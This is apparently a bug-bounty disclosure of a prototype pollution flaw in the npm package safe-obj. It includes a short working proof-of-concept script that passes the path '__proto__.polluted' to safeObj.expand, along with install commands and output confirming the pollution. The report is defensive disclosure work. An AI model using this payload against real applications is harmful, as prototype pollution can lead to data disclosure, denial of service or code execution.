Prototype Pollution in tandrewnichols/safe-obj
Valid
Reported on
Jan 30th 2021
Description
safe-obj
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
var safeObj = require("safe-obj")
var obj = {};
console.log("Before: " + {}.polluted)
safeObj.expand(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)
- Execute the following commands in the terminal:
npm i safe-obj # install vulnerable package
node poc.js # run the PoC
- Check the output:
Before: undefined
After: true
Impact
Prototype Pollution
leads to Information Disclosure/DoS/RCE.
to join this conversation